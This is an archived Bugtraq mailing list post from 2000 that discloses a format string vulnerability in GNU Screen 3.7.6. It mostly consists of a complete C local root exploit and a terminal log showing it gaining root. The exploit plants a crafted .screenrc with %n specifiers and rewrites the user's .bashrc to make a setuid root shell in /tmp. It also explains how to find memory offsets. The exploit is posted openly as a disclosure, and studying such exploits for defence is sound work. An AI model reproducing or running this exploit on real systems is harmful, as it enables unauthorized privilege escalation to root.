Bugtraq mailing list archives
Screen compromise, second
From: Paul Starzetz <paul () STARZETZ DE>
Date: Wed, 6 Sep 2000 18:02:02 +0200
Hi ppl, as mentioned in previous letter, the Screen package suffers from the classic format string bug. I post now a fine tuned root exploit for it. It seems that the invoked bash crashes if we set real_uid to 0, so lets try another way: create a .bashrc which does the work. On Suse 6.1 and screen 3.7.6 the crash occurs after .bashrc is executed so we can exploit this :-) paul@phoenix:/tmp > id uid=500(paul) gid=100(users) groups=100(users) paul@phoenix:/tmp > ls -la total 9 drwxrwxrwt 4 root root 1024 Sep 6 17:41 . drwxr-xr-x 18 root root 1024 Mar 7 2000 .. drwxrwxrwt 2 root root 1024 Feb 15 2000 .X11-unix -rwxr--r-- 1 paul users 4559 Sep 6 17:41 expl.c drwxr-xr-x 4 root users 1024 Sep 14 1999 screens paul@phoenix:/tmp > gcc expl.c (padding set to 1) paul@phoenix:/tmp > a.out 63 Screen 3.7.6+ local r00t exploit by IhaQueR@IRCnet creating magic string building /home/paul/.screenrc creating /home/paul/.bashrc compiling suid shell makdir() press enter to start screen, then hit enter again, ctrl-g, ctrl-c for suid shell at /tmp/sush Screen version 3.07.06 (FAU) 25-Nov-98 Copyright (c) 1993-1998 <blah....> <enter> chown: /tmp/sush: Operation not permitted ó
l@phoenix:/tmp/PPPóóóóóóóóóóóóóóóľ
<ctrl-g> status: 10737900681134520512134745792-1073748600-1-10737433492047-1073743349-1-1-1-... <ctrl-a ctrl-c>
idphoenix:/tmp/Póóóóóóóóóóóóóóóóľ
uid=0(root) gid=100(users) groups=100(users)
t@phoenix:/tmp/Póóóóóóóóóóóóóóóóľ
hm :-> this time without crash... paul@phoenix:/tmp > ls -l total 79 drwxr-xr-x 2 paul users 1024 Sep 6 17:52 Póóóóóóóóóóóóóóóóľ -rwxr-xr-x 1 paul users 36313 Sep 6 17:49 a.out -rwxr--r-- 1 paul users 4355 Sep 6 17:48 expl.c drwxr-xr-x 4 root users 1024 Sep 14 1999 screens -rwsr-xr-x 1 root root 33190 Sep 6 17:49 sush -rw-r--r-- 1 paul users 71 Sep 6 17:52 sush.c but whatever, we have a suid shell at /tmp/sush even if bash crashes... regards. IhaQueR --------------------------- expl.c ------------------------------ /**************************************************************** * * * Screen 3.7.6 (and others) local exploit * * by IhaQueR@IRCnet * * only for demonstrative purposes * * * ****************************************************************/ #include <stdio.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <sys/utsname.h> #include <pwd.h> #define TMPBUFSIZE 1024 #define SCREENRC ".screenrc" #define BASHRC ".bashrc" #define SCREEN "/usr/bin/screen" /* to help you hit the buffer we repeat the addr in the dir path */ #define AREP 16 /* but write only once */ #define WREP 1 /* offset of the buffer seen from Msg() */ #define BUFOFFSET 284 #define PADDING 0 /* addr to be written */ #define WRITEADDR 0x807beb4 /* some offsets grabbed from 3.7.6 on S.u.S.E 6.1 &real_uid, &real_gid, &eff_uid, &eff_gid own_uid 0x807beb4 0x807ab1c 0x807aab0 0x807aab4 0x807bea4 + 64 +64 ? ? ? to get usefull offsets try this: ------------------- insert into screen.c source ---------------------- char mybuf[100000]; int jj; void dumpstack(int err, char* fmt, ...) { static va_list ap; char buf[100000]; char *p = buf; FILE * fp; #define STACKDMP "/tmp/stackdmp" va_start(ap, fmt); (void) vsnprintf(buf, sizeof(buf) - 100, fmt, ap); va_end(ap); if(fp = fopen(STACKDMP, "w")) { fprintf(fp, "%s", buf); fclose(fp); } } --------------------------------------------------------------------- then find in screen.c the line: 'Msg(0, VisualBellString);' and replace it with bzero(mybuf, 100000); for (jj=0; jj<1500; jj++) { strcat(mybuf, "%x "); } dumpstack(0, mybuf); compile screen, run, hit ctrl-g and look at the stack in /tmp/stackdmp:-) of course you can dump the adresses of &real_uid, &real_gid too (maybe you would need a small offset for a.out) */ int main(int argc, char** argv) { int i, off=0; int writeoffs, bufoffset; unsigned a, *p; FILE* fp; unsigned char* cp; char buf[TMPBUFSIZE]; unsigned char adr[(AREP+2)*sizeof(unsigned)]; char screenrc[TMPBUFSIZE]; char bashrc[TMPBUFSIZE]; struct utsname uts; struct passwd* pwd; if(argc != 2) { printf("USAGE %s offset\n", argv[0]); return 0; } else { printf("Screen 3.7.6+ local r00t exploit\n"); printf("by IhaQueR@IRCnet\n\n"); } /* calc addr offset */ getcwd(buf, TMPBUFSIZE); off += strlen(buf); uname(&uts); off += strlen(uts.nodename); pwd = getpwuid(getuid()); off += strlen(pwd->pw_name); /* user@host:/cwd/ @:/ */ off += 3; bufoffset = BUFOFFSET + off; strcpy(screenrc, pwd->pw_dir); strcat(screenrc, "/"); strcat(screenrc, SCREENRC); strcpy(bashrc, pwd->pw_dir); strcat(bashrc, "/"); strcat(bashrc, BASHRC); /* user supplied offsets */ writeoffs = atoi(argv[1]); printf("creating magic string\n"); bzero(buf, TMPBUFSIZE); /* consume stack arguments */ for(i=0; i<bufoffset/4; i++) strcat(buf, "%.0d"); /* finally write to adress */ for(i=0;i<WREP; i++) strcat(buf, "%n"); /* create screenrc */ printf("building %s\n", screenrc); if(fp = fopen(screenrc, "w")) { fprintf(fp, "vbell on\n"); fprintf(fp, "vbell_msg '%s'\n", buf); fprintf(fp, "vbellwait 3600\n"); fclose(fp); } else { printf("ERROR: opening %s\n", screenrc); return 1; } /* create bashrc */ printf("creating %s\n", bashrc); snprintf(buf, TMPBUFSIZE, "cp %s %s.orig", bashrc, bashrc); system(buf); snprintf(buf, TMPBUFSIZE, "echo >%s 'chown root:root /tmp/sush; chmod 4755 /tmp/sush'", bashrc); system(buf); /* create suid shell */ printf("compiling suid shell\n"); snprintf(buf, TMPBUFSIZE, "echo >/tmp/sush.c 'main(int ac, char** av){setuid(0); setgid(0); execv(\"/bin/bash\", av);}'"); system(buf); system("gcc /tmp/sush.c -o /tmp/sush"); /* now create the magic dir... */ printf("makdir()\n"); bzero(adr, (AREP+2)*sizeof(unsigned)); cp = adr; for(i=0; i<PADDING; i++) { *cp = 'P'; cp++; } p = (unsigned*) cp; a = WRITEADDR + writeoffs; for(i=0; i<AREP; i++) { *p = a; p++; } *p = 0; /* make dir and call screen */ mkdir((char*)adr, 0xfff); chdir((char*)adr); argv[1] = NULL; printf("press enter to start screen, then hit enter again, ctrl-g, ctrl-c for suid shell at /tmp/sush"); getchar(); execv(SCREEN, argv); } ------------------------------------------------------------------- Disclaimer: Any resemblance between the above views and those of my employer, my terminal, or the view out my window are purely coincidental. Any resemblance between the above and my own views is non-deterministic. The question of the existence of views in the absence of anyone to hold them is left as an exercise for the reader. The question of the existence of the reader is left as an exercise for the second god coefficient. (A discussion of non-orthogonal, non-integral polytheism is beyond the scope of this article.)
Current thread:
- Screen compromise, second Paul Starzetz (Sep 06)